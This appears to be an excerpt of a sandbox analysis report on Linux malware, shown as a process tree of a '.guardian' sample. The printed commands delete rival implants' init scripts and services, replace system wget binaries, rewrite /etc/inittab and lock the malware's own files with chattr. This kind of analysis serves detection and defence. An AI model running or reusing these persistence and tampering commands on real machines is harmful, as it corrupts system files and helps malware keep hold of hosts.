                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1215
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1217
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1218
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1219
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1285
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1286
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1287
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1289
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1290
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1291
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1293
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1294
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1295
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1297
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1298
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1299
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1398
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1399
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1401
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1402
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1403
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1405
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1406
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1407
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1409
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1410
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1411
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1413
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads MAC address of network interface
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1317
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1350
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1351
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1353
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1354
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1355
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1356
